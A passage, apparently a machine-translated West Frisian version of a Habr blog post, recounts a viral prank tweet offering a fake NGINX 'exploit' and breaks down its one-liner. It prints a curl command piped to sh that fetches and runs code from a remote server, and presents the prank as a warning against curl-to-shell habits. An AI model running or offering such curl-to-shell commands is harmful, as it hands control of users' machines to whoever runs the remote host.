Noat. transl.:
TL;DR: Brûk ûnder gjin omstannichheden triempipelining yn sh of bash. Dit is in geweldige manier om de kontrôle oer jo kompjûter te ferliezen.
Ik wol in koart ferhaal mei jo diele oer in komyske PoC-exploitaasje dy't makke is op 31 maaie. Hy ferskynde prompt yn reaksje op nijs fan
Nei it wurk oan in nije obfuscation-technyk yn curl, haw ik de orizjinele tweet oanhelle en "in wurkjende PoC lekt" besteande út in inkelde rigel koade dy't de ûntdutsen kwetsberens soe eksploitearje. Fansels wie dit folsleine ûnsin. Ik gong der fan út dat ik fuortdaliks bleatsteld wurde soe, en dat ik op syn bêst in pear retweets krije soe (och goed).
Ik koe my lykwols net yntinke wat der dêrnei barde. De populariteit fan myn tweet gie omheech. Ferrassend, op it stuit (15:00 Moskouske tiid 1 juny) hawwe in pear minsken realisearre dat dit in nep is. In protte minsken retweet it sûnder it hielendal te kontrolearjen (lit stean te bewûnderjen fan de moaie ASCII-grafiken dy't it útfiert).
Sjoch mar hoe moai it is!
Hoewol al dizze loops en kleuren geweldich binne, is it dúdlik dat minsken koade op har masine moasten útfiere om se te sjen. Lokkich wurkje browsers op deselde manier, en kombinearre mei it feit dat ik net echt yn juridyske problemen woe, wie de koade begroeven op myn side gewoan echo-oproppen sûnder besykjen om ekstra koade te ynstallearjen of út te fieren.
Lytse ôfwiking:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Sosjaal-elektroanyske yngenieur (SEE) is mear dan allinich phishing
Feiligens en bekendheid wiene in grut part fan dit eksperimint. Ik tink dat se binne wat late ta syn súkses. De kommandorigel ymplisearre dúdlik feiligens troch te ferwizen nei "127.0.0.1" (de bekende localhost). Localhost wurdt beskôge as feilich en de gegevens dêrop ferlitte jo kompjûter noait.
Fertroudheid wie de twadde kaai SEE-komponint fan it eksperimint. Om't it doelpublyk foaral bestie út minsken dy't bekend wiene mei de basis fan kompjûterfeiligens, wie it wichtich om koade te meitsjen sadat dielen derfan fertroud en fertroud liken (en dus feilich). It lienjen fan eleminten fan âlde eksploitaasjebegripen en it kombinearjen op in ûngewoane manier hat bliken dien tige suksesfol te wêzen.
Hjirûnder is in detaillearre analyze fan 'e one-liner. Alles op dizze list draacht kosmetyske natuer, en praktysk neat is nedich foar syn eigentlike wurking.
Hokker komponinten binne echt nedich? Dit -gsS
, -O 0x0238f06a
, |sh
en de webserver sels. De webserver befette gjin kweade ynstruksjes, mar tsjinne gewoan ASCII-grafiken mei kommando's echo
yn it skript befette yn index.html
. Doe't de brûker ynfierd in rigel mei |sh
yn it midden, index.html
laden en útfierd. Gelokkich hiene de hoeders fan 'e webserver gjin kweade bedoelingen.
-
../../../%00
- fertsjintwurdiget fierder gean as de map; -
ngx_stream_module.so
- paad nei in willekeurige NGINX-module; -
/bin/sh%00<'protocol:TCP'
- wy binne nei alle gedachten lansearring/bin/sh
op 'e doelmasine en omliede de útfier nei it TCP-kanaal; -
-O 0x0238f06a#PLToffset
- geheime yngrediïnt, oanfolle#PLToffset
, te sjen as in ûnthâld offset ien of oare wize befette yn de PLT; -
|sh;
- in oar wichtich fragmint. Wy moasten de útfier omliede nei sh/bash om de koade út te fieren dy't komt fan 'e oanfallende webserver dy't leit op0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- in dummy wêryn netcat ferwiist nei/dev/tcp/localhost
sadat alles wer feilich liket. Yn feite docht it neat en is opnommen yn 'e line foar skientme.
Dit konkludearret de dekodearring fan it ien-line skript en de diskusje oer aspekten fan "sosjaal-elektroanyske engineering" (yngewikkelde phishing).
Webserverkonfiguraasje en tsjinmaatregels
Om't de grutte mearderheid fan myn abonnees infosec/hackers binne, besleat ik de webserver in bytsje mear resistint te meitsjen foar útdrukkingen fan "belang" fan har kant, krekt sadat de jonges wat te dwaan hawwe (en it soe leuk wêze om opsette). Ik sil hjir net alle falkûlen opskriuwe, om't it eksperimint noch oanhâldt, mar hjir binne in pear dingen dy't de tsjinner docht:
- Kontrolearret aktyf distribúsjepogingen op bepaalde sosjale netwurken en ferfangt ferskate foarbyldminiatueren om de brûker te stimulearjen om op de keppeling te klikken.
- Ferwiist Chrome/Mozilla/Safari/etc nei de Thugcrowd-promoasjefideo ynstee fan it shell-skript sjen te litten.
- Sjocht nei DUIDELIJKE tekens fan ynbraak / blatante hacking, en begjint dan fersiken om te ferwizen nei NSA-tsjinners (ha!).
- Ynstallearret in Trojan, lykas in BIOS rootkit, op alle kompjûters wêrfan brûkers de host besykje fan in gewoane browser (gewoan in grapke!).
In lyts part fan antimers
Yn dit gefal wie myn iennichste doel om guon fan 'e funksjes fan Apache te behearskjen - benammen de koele regels foar it omlieden fan oanfragen - en ik tocht: wêrom net?
NGINX Exploit (echt!)
Ynskriuwe foar
Boarne: www.habr.com